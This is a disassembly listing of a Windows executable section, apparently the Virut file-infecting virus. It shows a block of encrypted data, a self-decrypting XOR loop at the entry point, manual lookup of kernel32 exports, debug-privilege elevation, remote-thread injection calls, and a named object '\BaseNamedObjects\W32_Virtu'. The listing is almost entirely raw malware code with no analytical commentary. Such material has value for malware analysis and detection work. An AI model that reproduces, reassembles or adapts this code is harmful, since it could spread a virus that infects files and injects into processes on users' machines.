dd 531B5453h, 0F19037E8h, 124D426Dh, 0AF115518h, 72A0C57h
dd 30953FCFh, 31537645h, 0FAB8D767h, 6A78464Fh, 99547DA3h
dd 5EF5DC4Ch, 0EE873121h, 3108DF82h, 251E5E8h, 9564211Dh
dd 0F5254A50h, 0DD0BD85Ch, 9AFC99ECh, 8AF7FC11h, 0BBD52D73h
dd 36DA8221h, 8371A552h, 0D34D0112h, 998A496Eh, 1709572Eh
dd 93B2949h, 9DA8525Dh, 18589C75h, 14C0994Eh, 1E3B2498h
dd 40C52B56h, 101CCFDEh, 579B16FDh, 0BD6B2148h, 3FC0C558h
dd 4602AD8Eh, 5946EB6Bh, 595CC1BBh, 0ABA79133h, 0BFF7BF39h
dd 0F288C0EEh, 0F3806EA7h, 3B657AE0h, 88847DF0h, 3298BB37h
dd 0A298C3C6h, 985D0990h, 4AFAFC1Eh, 459394F6h, 0E535A984h
dd 0C82B492Ch, 27EEA131h, 8F287208h, 0BEA95DB2h, 80FA95ADh
dd 1CBFCACAh, 0E4729A1Fh, 2DD26243h, 0D83D1452h, 59EC3BB4h
dd 0DA7CD15h, 0A97794C3h, 4BB7AB3h, 7DC495D9h, 1083C9A2h
dd 3EF51819h, 0C4DBCC45h, 46BA8ABDh, 3FD19B7Bh, 8D4AF555h
dd 501D7B44h, 0D71F498Fh, 7FB1AF6Bh, 35E538Fh, 0EF6B68EDh
dd 0CA30B01Fh, 0C76E1456h, 4B4CAEB3h, 37A7BA40h, 295A76C1h
dd 0C11A5232h, 0C69E1FFDh, 7E4A27Dh, 57729702h, 78F5128Dh
dd 15E9A5D1h, 0C45B2C3Bh, 5B3A1885h, 0CCE12D04h, 0C3398934h
dd 3226084Ah, 49A66DB8h, 82F74D05h, 7BA04725h, 139EA00h
dd 0CA5A6C09h, 0BDFB0D0Fh, 67554F6Ch, 312E8A10h, 0A306F708h
dd 50B55DC5h, 0ACD9C8C9h, 0AE880405h, 3D03104Ch, 0F408DD51h
dd 0F2FDE0EEh, 0D093AE4Bh, 672ABC1Ch, 38FECF8Fh, 6167171Eh
dd 67842CBAh, 8B43019h, 3EB34DE1h, 1FF47560h, 49A495A4h
dd 3FA78511h, 35B37F78h, 8DB74822h, 2DCFC6Bh, 0C2A2ADE5h
dd 122F3552h, 38BAE860h, 8BFA7C77h, 5F63E9DFh, 0EC067494h
dd 423B3CE1h, 29C77579h, 0A562FF66h, 862A12B6h, 245B4682h
dd 591E48F1h, 0FCD5D3B2h, 0BBE6C6E7h, 2BF3F25Ch, 5955F835h
dd 612624Ah, 0E87C7058h, 2B6E9D02h, 0D985AD2h, 0D5C74C6Fh
dd 0FD2EC1FBh, 27B176CAh, 29934E22h, 31294FBFh, 9BBD5B99h
dd 0E46D2883h, 0C6E1CAE9h
dd 0CBCE6C7h, 9313DD1Fh, 0F4A6DCD2h, 0D9D77E30h, 55F6706Ah
dd 2ABCA17Ah, 1DA20E61h, 13D9725h, 7CC4F34Eh, 343253B6h
dd 9F19CCDBh, 0F0FEA387h, 59F9E2F7h, 0CD58FD7Bh, 10D99464h
dd 12970924h, 0C43F9E1Dh, 31B7A8F6h, 89239233h, 0C4C733CEh
dd 378ACF6Bh, 0A6383192h, 664537D3h, 6086F887h, 4440C318h
dd 0F1C18876h, 0B400008Ah, 7EC50FCAh, 0F60B1925h, 7925A416h
dd 9F4800A8h, 914B3F73h, 0D67E226Fh, 834A0976h, 9BF75A83h
dd 0DE7B7E49h, 4FD71542h, 0A63DAC8Ah, 0F2723176h, 725BCF0Bh
dd 0AE55B854h, 0A80B70A8h, 0EA3AD457h, 0F41607EAh, 0E688DD6h
dd 95321C3Eh, 8AED9909h, 26098BF4h, 6E86A656h, 24B4EAE5h
dd 70E5782h, 7B2BFCB4h, 0FA14F1B1h, 0E7ED55E6h, 0BDBCABECh
dd 5310C09Eh, 88EE3C0Dh, 74852373h, 0D94046E6h, 9EF44BC3h
dd 31788720h, 3234764Ah, 71802798h, 9838D482h, 33531E1Dh
dd 0C7585F27h, 0C6CE82B1h, 0EC3CBDDDh, 20C8FC2h, 2DB861Ch
dd 0C66B0A5Bh, 3394181Ch, 341FB904h, 0ECD7F6C7h, 0DA007B97h
dd 0C382D14Bh, 0B1445257h, 0A12D6B78h, 0AB879F4Eh, 0B88AA26Ch
dd 4F8D3D0Dh, 4B1DAEB3h, 0A80553ABh, 0B01D93E4h, 3F0E0A8Eh
dd 3AC1C862h, 0FDC647EFh, 0D8755FBDh, 79554AF1h, 3A6209FDh
dd 0E45C1758h, 0B2A3BF24h, 9625E938h, 0CF4B45F4h, 0F0969F73h
dd 0E36D4CA9h, 0DDA81137h, 59D66A7Ah, 0FB8AA0ACh, 2B2515C4h
dd 85D57438h, 5C52FB9Bh, 8C17729Fh, 0E764C701h, 1557CCA7h
dd 146CA128h, 0AD8A5FABh, 0C56B7853h, 0D3840F0Ah, 0E5E2AFF8h
dd 522E00AFh, 5869C367h, 0E8110DE3h, 0CC760C58h, 951C56B7h
dd 95877C45h, 0B83E07B4h, 0A60355F3h, 212BD57Dh, 0FEEF2BFBh
dd 0ED65517h, 0C09875E5h, 0A43B681h, 25B41534h, 52032CAEh
dd 2721B787h, 0B2C09788h, 0BC3F5FF1h, 1AA10A28h, 61689B7Bh
dd 38C7706Ah, 0AB11C492h, 9F11093Eh, 23B40A57h, 0B6A784A8h
dd 0B3425107h, 13150128h, 62E62658h, 27C36115h, 0E24BF9E8h
dd 0F799CD7Dh, 70C08B2Ch, 805FC642h, 1BA2FB9Ah, 70597D7h
dd 62DA7BEh, 5EE2FE5Ch, 4EA6DE85h, 26ACD5E1h, 0FFF29944h
dd 0B26585FCh, 7D08ED48h, 0A204894Ch, 514E2FD3h, 0E285DAA9h
dd 7445B87Ch, 178E0908h, 1EF36E39h, 9BAF3728h, 0CABD4E71h
dd 0B3D0828h, 0E1D65B35h, 75E103EDh, 3DB6509Bh, 91939966h
dd 5C7CA9B1h, 0FCBC810Ah, 7C36AEA2h, 0BB54F49h, 1E71BEABh
dd 0EE5766D4h, 0A4C76F8Bh, 51711EEAh, 35612AFBh, 0BB9139B0h
dd 18A9A6D1h, 0EDFFFE87h, 0A049307Bh, 9B6F3E3Dh, 6679EA89h
dd 313DAB65h, 6D5F5949h, 0D5C3B101h, 0A2135328h, 4876D65h
dd 1730B76Ah, 0E6DE7E8Dh, 43E56BC2h, 0E2E70C8h, 0CB24507Dh
dd 0D5A804AEh, 5112D0CFh, 651F115Dh, 0B4B52D3Dh, 0A63C0E47h
dd 0DBF1037Dh, 0DCADE3E5h, 0B18775CBh, 7D4CEAEFh, 3610E06Bh
dd 4FC3F63h, 0C67531B4h, 0F75E5649h, 0D087F585h, 0DCF47B0Eh
dd 88DED595h, 11E0B02Ah, 0B648C8C9h, 0A5F7DA48h, 0CCDAB6FFh
dd 19F825E0h, 63FD1506h, 920E9596h, 0B5C29276h, 8F457572h
dd 4DDE84ACh, 9DBB2BE6h, 0DF6E905Ah, 74AD6925h, 2FB80992h
dd 0EA75E3BBh, 0F2A547A1h, 43400ADEh, 31198698h, 5B7C25BEh
dd 0A9E62CBFh, 59960C16h, 80C08841h, 0B1E096AEh, 44445C08h
dd 16D16E7Dh, 0FFB50C30h, 249393F1h, 8B43950Eh, 844D1DE0h
dd 0E8F727BCh, 0AA8B20EAh, 0A5EB79C2h, 52DD7508h, 5FFB404Dh
dd 361B09FBh, 60F1D6D2h, 0E61299F1h, 9D48F776h, 898F84CCh
dd 0AE5CABB6h, 0B3A85A8Ah, 148678CCh, 0AC1380C9h, 98843DFBh
dd 578488C2h, 4661791Fh, 0D3D4389Bh, 6640AFBAh, 0A987FAEEh
dd 4F854716h, 55FDE4C2h, 58A74E96h, 69AE811Ch, 39C915DCh
dd 4F769054h, 0B717E8D9h, 839C4695h, 0D86F8346h, 0B516FB2Ch
dd 9F6C76EDh, 0B777A803h, 0DFA18AC8h, 0B0ADD52Eh, 0B448F219h
dd 1271C311h, 0AC01E8CCh, 8E7509E1h, 0D84CF587h, 0C7AC7A82h
dd 403BA837h, 4B3BF154h, 0E80CD214h, 0FD78D2B2h, 3D9D0096h
dd 841E09h, 648D8472h, 0F0042280h, 0E68446DAh, 0AA005CC0h
dd 3AAD5F20h, 0AC4E965h, 0E4A6B3D6h, 0A66212E0h, 22A54AF1h
dd 0F2F376EDh, 3DD90C2Bh, 8B8A10AEh, 0E4DF33D7h, 4A9F6A01h
dd 0CAF6FFC7h, 0E654B7h, 6B44630Eh, 0C94CDC7h, 4FF3901Fh
dd 1D400724h, 124F5AC3h, 0C95C6425h, 0CC2CD01Bh, 0CB80FA1h
dd 243BCEF8h, 6282C0B9h, 0D78F02BDh, 19CE457Dh, 40AE9225h
dd 0A337F72Dh, 0E120106Ch, 0CA5E201h, 0CE4D0B9Dh, 0D9E41F8Ch
dd 0D38CA1BFh, 0B575E042h, 411A390Dh, 3CC49882h, 0A0301886h
dd 9CC321AEh, 7EA2752Dh, 91D0DA23h, 0D15A6995h, 194C0A0Fh
dd 43BD66BFh, 2A6C37D4h, 0A484361Fh, 34BC3E5Ch, 0D77A89D4h
dd 29060302h, 5FBB0779h, 1574C8ACh, 709261DDh, 769A1581h
dd 74615F1Ch, 0BE242A51h, 0C335B472h, 81AE7B43h, 16B02C3Bh
dd 0CEC62D4h, 0ECA25E0Bh, 93EF6024h, 9306443Dh, 0B3DB256Ah
dd 85978447h, 62191C8Ch, 0A04BC700h, 49842B6Bh, 0E8A29EB4h
dd 0AC60FA8Eh, 7139798Eh, 43F7F6BFh, 6101E0FAh, 0BA08A84Bh
dd 0D58E6D00h, 0C72CC215h, 0BB91A3Eh, 3BFDF4E7h, 80EFCA6Dh
dd 75960DBh, 949279h, 0D46E1FBh, 7D88F94h, 0B946F257h
dd 0AF61CBAAh, 0AAF46F22h, 0ADF4F5FCh, 4438013Eh, 37A31395h
dd 60E62FAFh, 350D454Eh, 1CDE4786h, 0A388ECBBh, 18AB713Bh
dd 9B1DEF88h, 57E5615Bh, 9BC7BCE3h, 14D99424h, 204F84E2h
dd 6838B68Bh, 63A4C44Eh, 704D9713h, 62CCCCCAh, 0A0497A19h
dd 0DBB7FF8Bh, 3D46E8F1h, 945BCAFCh, 0CB6EA0E2h, 0CB68A3CFh
dd 0FE51129Bh, 14AB696h, 0D16C6990h, 0BC7D20DCh, 5F061D77h
dd 9B082477h, 4C7916A2h, 0BCEEECC6h, 40E8E394h, 49843975h
dd 0FC659509h, 814B6AAh, 0AC131D8Ah, 9C65A15Ah, 0AB38048h
dd 0B3728E21h, 74D3605Ch, 7AAB4D11h, 0AA78FD27h, 0DF256BD5h
dd 37392504h, 0A4A2913Fh, 8F5683Ah, 4A9EB324h, 0E9BA805Dh
dd 12299322h, 0B0AADF34h, 4551D158h, 2C389EE5h, 4B4FA6CFh
dd 17B847E3h, 865BBAA1h, 0B62BD5DDh, 736D20B8h, 0A71EEF2Eh
dd 8A64AD60h, 0A27DB9DBh, 33ED4C2Eh, 1CDA0DECh, 70B5BF2h
dd 93E8A59h, 734340Ch, 5B0B38BAh, 3320252Ah, 7B3810E5h
dd 9B2BB7BDh, 9AE5F95Eh, 0C01CE8A1h, 2E5498B3h, 1F995FB1h
dd 7EA2551Ch, 0F9CC2B90h, 0E8AEFAE0h, 0BCB985C5h, 399B70EBh
dd 1E67249Ah, 15405325h, 0C52F6326h, 0BF4E30BCh, 0DDFA44A1h
dd 415E17A8h, 0C2D49644h, 0F15997C0h, 0ABBEF2C3h, 0B05F6176h
dd 58D05665h, 0F11900F1h, 9F19B4E8h, 0FCFEF6Eh, 63CDA41Ah
dd 0BB63BC52h, 0EE6B76FCh, 2A699A64h, 0D9E67C00h, 0E901E9Dh
dd 54448508h, 4560BBA4h, 0B407D742h, 334C6A6h, 43B6617Bh
dd 4D52DD87h, 36D293C8h, 3D25BC44h, 7B2D7553h, 217D6FBCh
dd 73B447E2h, 0CDE44E81h, 0D18FBCC2h, 0D08DA245h, 6040E3C7h
dd 0A997B18Ah, 1E3CF0CAh, 0D581A41h, 5B0F2D96h, 3C18E24Dh
dd 319D1447h, 4F179A9Ch, 28A48A1Ah, 7BB3C157h, 0B214F334h
dd 3CAAh, 9A0A635Eh, 8F36A146h, 5F4DA9C5h, 0E0384A5Eh
dd 0A1F43DABh, 444468E0h, 0B4D26D8Fh, 6B111E9Fh, 48EBC49Dh
dd 0AAFD47D1h, 0DDFC8ACBh, 0F87ABD4Eh, 0C93E4DC1h, 75BDB5A2h
dd 0C98C8491h, 8BC621F1h, 26C94244h, 94B727A7h, 64A7EE30h
dd 1D78AEF7h, 8CA81C22h
dd 0A6AAF331h, 0FD89635Ch, 0DF12FDDh, 0D0E25357h, 698A4EB8h
dd 0C7327063h, 932BBB67h, 0D71D470Dh, 283A3215h, 3818865Ah
dd 2B57AACAh, 94A36CFh, 2C3050A7h, 83D4ED4Ch, 6A087DEh
dd 0BE592BB5h, 2C30058Ch, 4DAAF6Dh, 7FCFF851h, 0B3E7EC9Ah
dd 0BFF442CBh, 0B31D8946h, 84FDB8D1h, 77EEED43h, 0C9E48488h
dd 91C7E0E7h, 0B478142h, 0D9763C98h, 0EDBCBD32h, 1BE9AA1Dh
dd 7F78FBE9h, 5D4275CFh, 0FC444CAFh, 0B42A6493h, 33BFB29Fh
dd 0A685AE9Fh, 65FBE198h, 1F70FA14h, 0CD5BFE02h, 0ED8D6D6Bh
dd 0A4CC7C5Bh, 0E39EC5ACh, 0BE4DFC9Fh, 6C789077h, 0B6BB4F74h
dd 0C83969E1h, 0A906752Ch, 0CDDD4518h, 8494B898h, 3C1AD4E0h
dd 0DA19D4ACh, 9F85F3DFh, 569C2DEBh, 0C62028AEh, 0B1E915ABh
dd 0C21431CEh, 42422929h, 7CDFA857h, 165FB366h, 0D8BAAE86h
dd 9DCD24DAh, 6A54AD1Bh, 0E68F9AFAh, 0B6E62878h, 6A117A83h
dd 98C97A5h, 6772169Dh, 0D3F45913h, 0CA1763D1h, 0A95CB437h
dd 0B090C3C4h, 0B9DDE5F5h, 6CD1DBCFh, 0E80E3ED8h, 24B57E5Ah
dd 73E7511Eh, 0FDD09B13h, 1E0F3C8Ah, 0D89C53EAh, 0FD57E919h
dd 9AE702EBh, 0C8A57D71h, 0BA16FD6h, 0B91CB933h, 3DE80596h
dd 599840Dh, 8D751181h, 0D98577A9h, 2D4C246Ah, 0F7EA7963h
dd 3AC47481h, 0D1EC75D5h, 70E25709h, 407C162Fh, 61F2C6D1h
dd 0C86B9562h, 3E88FD8Fh, 69C79B16h, 37BF18FDh, 7873078h
dd 66D2D0C8h, 568ABBD2h, 49FE4557h, 68E410F1h, 0CCBDCF56h
dd 0B67A8E66h, 0E946EC21h, 0C9F15686h, 0CF6234E9h, 70ED814Ch
dd 0A1995EC2h, 7C9C76FCh, 0BDA05E6Ch, 199445A4h, 9E2187F5h
dd 0B0011A5Ch, 42D1C733h, 5C22BC67h, 27D5E8F8h, 0EA171C19h
dd 0D677F031h, 72FDF193h, 52F81BCh, 7262704Ah, 35EF5422h
dd 8BF60260h, 0FBD8C013h, 0BFA618D2h, 0C42053BCh, 45F00E6Ch
dd 325E76E5h, 0EC941296h, 82528E3h, 14922CEBh, 0A6DDC35Dh
dd 287747A7h, 1508D5D6h, 0B9F956DAh, 9DB50819h, 20E97D78h
dd 0FA69165Eh, 0AF6B5A2Eh, 1235D458h, 7784480Bh, 3B344CFEh
dd 9AFCC900h, 244DDB30h, 318AF420h, 334B7327h, 0BA4EEDC1h
dd 8B40DCB8h, 249F7E65h, 8F3C0F64h, 5930AF6Dh, 552993Bh
dd 69727BABh, 0BAEC1A8Bh, 395B8EB4h, 0C476C466h, 0C96F1110h
dd 4C4CF8EEh, 91D8D2Eh, 0E405EE7Bh, 3470DC31h, 7D04688Ah
dd 0CF082589h, 0D5637B7Eh, 266CEB5Bh, 91256B36h, 60A331BCh
dd 0CCBA8C68h, 2327A5BAh, 4DD93FD6h, 0C71CE135h, 37A4F552h
dd 1DE2BD89h, 61184989h, 0BBF4AB09h, 28DB28ABh, 0EA0F2744h
dd 0DE4D06D8h, 0FB33623h, 0C8EC2965h, 0B3F5FBD2h, 0A30FFBE9h
dd 1B965077h, 0C7E47A25h, 637276BEh, 300h dup(0)
_data ends
; Section 5. (virtual address 0007C000)
; Virtual size : 00008000 ( 32768.)
; Section size in file : 00008000 ( 32768.)
; Offset to raw data for section: 0007C000
; Flags E0000060: Text Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_adata segment para public 'CODE' use32
assume cs:_adata
;org 47C000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
public start
start proc near
call $+5
pop ebp
add ebp, 2Fh
push ebp
mov edx, 243Ch
sub ecx, ecx
or ecx, 67h
loc_47C01A: ; CODE XREF: start+2Fj
mov al, [ebp+0]
xor ax, cx
xchg al, [ebp+0]
inc ebp
add cx, 0BCh
sub edx, 1
cmp edx, 0
ja short loc_47C01A
pop ebp
jmp ebp
start endp
; ---------------------------------------------------------------------------
db 90h
; ---------------------------------------------------------------------------
call $+5
mov eax, [esp]
test dword ptr [eax+242Bh], 80000000h
mov [eax+29ACh], ebx
mov ebx, [esp+4]
jz short loc_47C080
cld
pop ecx
mov [eax+29B0h], esi
mov [eax+29B4h], edi
cmp byte ptr [eax+242Fh], 0E8h
jnz short loc_47C077
add ebx, [eax+2430h]
mov ebx, [ebx+2]
push dword ptr [ebx]
jmp short loc_47C07F
; ---------------------------------------------------------------------------
loc_47C077: ; CODE XREF: .adata:0047C068j
mov ebx, [eax+2431h]
push dword ptr [ebx]
loc_47C07F: ; CODE XREF: .adata:0047C075j
pop ebx
loc_47C080: ; CODE XREF: .adata:0047C051j
push ebp
xchg eax, ebp
sub dword ptr [esp+4], 7B03Ah
and ebx, 0FFFFF000h
sub ebp, 401006h
mov edi, [esp+4]
lea esi, loc_40343C[ebp]
mov ecx, 0
rep movsb
loc_47C0A7: ; CODE XREF: .adata:0047C0C3j
cmp dword ptr [ebx+4Eh], 73696854h
jnz short loc_47C0BD
mov eax, [ebx+3Ch]
lea eax, [eax+ebx]
cmp word ptr [eax], 4550h
jz short loc_47C0C5
loc_47C0BD: ; CODE XREF: .adata:0047C0AEj
sub ebx, 100h
jnz short loc_47C0A7
loc_47C0C5: ; CODE XREF: .adata:0047C0BBj
mov edx, [eax+78h]
add edx, ebx
mov esi, [edx+20h]
mov ecx, [edx+18h]
add esi, ebx
push ecx
loc_47C0D3: ; CODE XREF: .adata:loc_47C0FAj
lodsd
add eax, ebx
cmp dword ptr [eax-1], 74654700h
jnz short loc_47C0FA
cmp dword ptr [eax+3], 636F7250h
jnz short loc_47C0FA
cmp dword ptr [eax+7], 72646441h
jnz short loc_47C0FA
cmp dword ptr [eax+0Bh], 737365h
jz short loc_47C0FF
loc_47C0FA: ; CODE XREF: .adata:0047C0DDj
; .adata:0047C0E6j ...
loop loc_47C0D3
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_47C0FF: ; CODE XREF: .adata:0047C0F8j
sub [esp], ecx
mov esi, [edx+24h]
pop ecx
add esi, ebx
movzx eax, word ptr [esi+ecx*2]
mov edi, [edx+1Ch]
add edi, ebx
mov esi, [edi+eax*4]
add esi, ebx
call near ptr loc_47C125+2
inc ebx
insb
outsd
jnb short near ptr loc_47C183+2
dec eax
popa
outsb
db 64h
insb
loc_47C125: ; CODE XREF: .adata:0047C116p
add gs:[ebx-1], dl
setalc
mov dword ptr ss:loc_40353C[ebp], eax
call near ptr loc_47C141+1
inc ebx
jb short near ptr loc_47C19C+1
popa
jz short near ptr loc_47C19C+4
inc ebp
jbe short near ptr loc_47C1A2+1
outsb
jz short near ptr loc_47C180+2
loc_47C141: ; CODE XREF: .adata:0047C130p
add [ebx-1], dl
setalc
mov [ebp+403540h], eax
call sub_47C15D
inc edi
db 65h
jz short near ptr loc_47C19C+4
popa
jnb short loc_47C1CB
inc ebp
jb short near ptr loc_47C1CB+1
outsd
jb short $+2
; =============== S U B R O U T I N E =======================================
sub_47C15D proc near ; CODE XREF: .adata:0047C14Bp
; FUNCTION CHUNK AT 0047C206 SIZE 000000B1 BYTES
; FUNCTION CHUNK AT 0047C346 SIZE 0000013A BYTES
push ebx
call esi
mov [ebp+403544h], eax
call sub_47C1DB
test eax, eax
jz short loc_47C190
push eax
call dword ptr [ebp+403544h]
test eax, eax
jnz short loc_47C18A
lea eax, loc_4011D2[ebp]
loc_47C180: ; CODE XREF: .adata:0047C13Fj
mov dl, [eax-1]
loc_47C183: ; CODE XREF: .adata:0047C11Ej
call sub_47C1F6
jmp short loc_47C206
; ---------------------------------------------------------------------------
loc_47C18A: ; CODE XREF: sub_47C15D+1Bj
; sub_47C15D+136j ...
call dword ptr ss:loc_40353C[ebp]
loc_47C190: ; CODE XREF: sub_47C15D+10j
test dword ptr ss:loc_403431[ebp], 80000000h
jz short loc_47C1BA
loc_47C19C: ; CODE XREF: .adata:0047C136j
; .adata:0047C139j ...
lea esi, loc_403435[ebp]
loc_47C1A2: ; CODE XREF: .adata:0047C13Cj
mov edi, [esp+4]
movsb
movsd
mov ebx, [ebp+4039B2h]
mov esi, [ebp+4039B6h]
mov edi, dword ptr ss:loc_4039BA[ebp]
loc_47C1BA: ; CODE XREF: sub_47C15D+3Dj
pop ebp
retn
sub_47C15D endp
; ---------------------------------------------------------------------------
loc_47C1BC: ; CODE XREF: sub_47C1DB+2p
; sub_47C15D:loc_47C3C5p
pop edx
push 0
push 0
push 0
push 0
push 40001h
; ---------------------------------------------------------------------------
db 8Bh
; ---------------------------------------------------------------------------
loc_47C1CB: ; CODE XREF: .adata:0047C155j
; .adata:0047C158j
les ebp, [edx+0]
push eax
push 0Ch
mov eax, esp
jmp edx
; ---------------------------------------------------------------------------
aVt_3 db 'VT_3',0
db 0
; =============== S U B R O U T I N E =======================================
sub_47C1DB proc near ; CODE XREF: sub_47C15D+9p
; .adata:loc_47CE80p
xor ecx, ecx
call loc_47C1BC
lea edx, [ebp+4011A1h]
push edx
push ecx
push ecx
push eax
call dword ptr [ebp+403540h]
add esp, 20h
retn
sub_47C1DB endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_47C1F6 proc near ; CODE XREF: sub_47C15D:loc_47C183p
; sub_47DFCA+25Bp
mov dh, dl
mov ecx, 225Fh
loc_47C1FD: ; CODE XREF: sub_47C1F6+Cj
xor [eax], dl
inc eax
add dl, dh
loop loc_47C1FD
retn
sub_47C1F6 endp
; ---------------------------------------------------------------------------
xlat
; START OF FUNCTION CHUNK FOR sub_47C15D
loc_47C206: ; CODE XREF: sub_47C15D+2Bj
and dword ptr [ebp+401580h], 0
and dword ptr [ebp+401584h], 0
and dword ptr [ebp+401588h], 0
mov eax, dword ptr ss:loc_403431[ebp]
xor ecx, ecx
push 1
mov cl, 20h
pop dword ptr ss:loc_40397E[ebp]
loc_47C22D: ; CODE XREF: sub_47C15D+E0j
xor edx, edx
shr eax, 1
setb dl
shl dl, 3
add dword ptr ss:loc_40397E[ebp], edx
loop loc_47C22D
push edi
mov byte ptr [ebp+401303h], 1
mov dword ptr ss:loc_403548[ebp], esi
lea esi, [ebp+4015BBh]
xor ecx, ecx
lea edi, [ebp+403558h]
mov cl, 1Eh
call sub_47C5C0
pop edi
call dword ptr [ebp+403594h]
shr eax, 1Fh
jz loc_47C346
mov eax, [edi+14h]
push 40h
add eax, ebx
push 8001000h
mov [ebp+403550h], eax
push 69CEh
push 0
call dword ptr [ebp+4035C8h]
test eax, eax
jz loc_47C18A
xchg eax, edi
lea esi, sub_401000[ebp]
mov ebp, edi
mov ecx, 0A74h
sub ebp, offset sub_401000
lea edx, [ebp+401283h]
rep movsd
jmp edx
; END OF FUNCTION CHUNK FOR sub_47C15D
; ---------------------------------------------------------------------------
sub esp, 20h
mov edi, esp
push 8
xor eax, eax
pop ecx
lea edx, [ebp+401A3Dh]
rep stosd
mov edi, esp
mov [edi+10h], edx
inc byte ptr [edi+1Ch]
push edi
push 10003h
call dword ptr [ebp+403550h]
add esp, 20h
test eax, eax
jz loc_47C18A
xchg eax, edi
push 0
push 1
push 80000400h
push 10000h
call dword ptr [ebp+403550h]
test eax, eax
jz loc_47C18A
push 0
push eax
push 40000h
push 0
shr eax, 0Ch
push edi
push 1
push eax
push 10001h
call dword ptr [ebp+403550h]
push 1000Ah
call dword ptr [ebp+403550h]
call sub_47C336
jmp loc_47C18A
; =============== S U B R O U T I N E =======================================
sub_47C336 proc near ; CODE XREF: .adata:0047C32Cp
; sub_47C336+Dj
push 1
pop ecx
jecxz short locret_47C345
push 0Ah
call dword ptr [ebp+4035BCh]
jmp short sub_47C336
; ---------------------------------------------------------------------------
locret_47C345: ; CODE XREF: sub_47C336+3j
retn
sub_47C336 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_47C15D
loc_47C346: ; CODE XREF: sub_47C15D+10Fj
cmp dword ptr [ebp+403570h], 0
jz loc_47C18A
call near ptr loc_47C35D+1
dec esi
push esp
inc esp
dec esp
dec esp
loc_47C35D: ; CODE XREF: sub_47C15D+1F6p
add bh, bh
xchg eax, ebp
mov ds:0B58D0040h, dh
jnb short near ptr loc_47C37A+5
inc eax
add [ebx], dh
leave
lea edi, [ebp+4035D0h]
mov cl, 0Bh
xchg eax, ebx
call sub_47C5C0
loc_47C37A: ; CODE XREF: sub_47C15D+209j
cmp dword ptr [ebp+4035F8h], 0
jz loc_47C18A
mov eax, dword ptr ss:loc_4035D4[ebp]
push dword ptr [eax+1]
pop dword ptr [ebp+403395h]
mov eax, [ebp+4035E8h]
push dword ptr [eax+1]
pop dword ptr [ebp+4033E2h]
mov eax, [ebp+4035D8h]
push dword ptr [eax+1]
pop dword ptr [ebp+4033E9h]
mov ecx, [ebp+4035DCh]
jecxz short loc_47C3C5
push dword ptr [ecx+1]
pop dword ptr [ebp+4033F6h]
loc_47C3C5: ; CODE XREF: sub_47C15D+25Dj
call loc_47C1BC
lea edi, [ebp+40364Eh]
mov ecx, edi
push 0
neg cl
push dword ptr [eax+4]
and ecx, 3
push 40h
add edi, ecx
push edi
push 0
push 18h
lea esi, [ebp+40159Fh]
mov ecx, 1Ch
mov edx, esp
lea eax, ds:0FFFFFFFEh[ecx*2]
stosw
lea eax, ds:0[ecx*2]
stosw
lea eax, [edi+4]
stosd
xor ah, ah
loc_47C40A: ; CODE XREF: sub_47C15D+2B0j
lodsb
stosw
loop loc_47C40A
push 0
push 69CEh
mov ecx, esp
push 0
mov eax, esp
push 0
push 8000000h
push 40h
push ecx
push edx
push 0Eh
push eax
call dword ptr [ebp+4035E0h]
pop eax
add esp, 40h
push 69CEh
mov edx, esp
push 0
mov ecx, esp
push 40h
push 0
push 2
push edx
push 0
push 69CEh
push 0
push ecx
push 0FFFFFFFFh
push eax
call dword ptr [ebp+4035E4h]
pop edi
pop ecx
test edi, edi
jz loc_47C18A
lea esi, sub_401000[ebp]
mov ecx, 0A74h
mov ebp, edi
rep movsd
sub ebp, offset sub_401000
lea eax, [ebp+40144Ch]
jmp eax
; END OF FUNCTION CHUNK FOR sub_47C15D
; ---------------------------------------------------------------------------
db 8Dh ;
db 95h, 0E0h, 18h
db 40h ; @
align 2
dw 0FF52h
db 95h ;
dd offset loc_40359B+1
db 0E8h, 16h, 0
db 0
align 2
aLookupprivil_0 db 'LookupPrivilegeValueA',0
dd 4895FF50h, 89004035h, 40354C85h, 6A545000h, 0FFFF6A20h
dd 4035EC95h, 5FC08500h, 6A963F75h, 8B565602h, 52016AD4h
dd 11E8h, 44655300h, 67756265h, 76697250h, 67656C69h, 0FF560065h
dd 40354C95h, 56C48B00h, 56505656h, 0D095FF57h, 83004035h
dd 0FF5710C4h, 40353C95h, 6A006A00h, 7095FF02h, 0B9004035h
dd 128h, 89E12B97h, 5754240Ch, 35AC95FFh, 0F6330040h, 363CA583h
dd 54000040h, 0B095FF57h, 85004035h, 465C74C0h, 7204FE83h
dd 2474FFEEh, 6A006A08h, 0A895FF2Ah, 85004035h, 93DC74C0h
dd 43DE8h, 91C93300h, 853930E3h, 40363Ch, 0C1812875h, 0DAEh
dd 56505450h, 53505051h, 356895FFh, 0C0850040h, 0FF0F7459h
dd 8F082474h, 40363C85h, 0FDACE800h, 0FF53FFFFh, 40353C95h
dd 8198EB00h, 128C4h, 95FF5700h, 40353Ch, 0FFFBE5E9h, 498DFFh
dd 585858h, 29CEh, 0D65h, 3 dup(0)
; =============== S U B R O U T I N E =======================================
sub_47C5C0 proc near ; CODE XREF: sub_47C15D+100p
; sub_47C15D+218p ...
push ecx
push esi
push ebx
call dword ptr ss:loc_403548[ebp]
stosd
pop ecx
loc_47C5CB: ; CODE XREF: sub_47C5C0+Ej
lodsb
test al, al
jnz short loc_47C5CB
loop sub_47C5C0
retn
sub_47C5C0 endp
; ---------------------------------------------------------------------------
aBasenamedobjec db '\BaseNamedObjects\W32_Virtu',0
aLstrlen db 'lstrlen',0
aCreatefilea db 'CreateFileA',0
aCreatefilemapp db 'CreateFileMappingA',0
aCreateprocessa db 'CreateProcessA',0
aCreateremoteth db 'CreateRemoteThread',0
aCreatethread db 'CreateThread',0
aCreatetoolhe_0 db 'CreateToolhelp32Snapshot',0
aExitthread db 'ExitThread',0
aFiletimetosyst db 'FileTimeToSystemTime',0
aGetfileattribu db 'GetFileAttributesA',0
aGetfilesize db 'GetFileSize',0
aGetfiletime db 'GetFileTime',0
aGetmodulehandl db 'GetModuleHandleA',0
aGettempfilenam db 'GetTempFileNameA',0
aGettemppatha db 'GetTempPathA',0
aGetversion db 'GetVersion',0
aGetversionexa db 'GetVersionExA',0
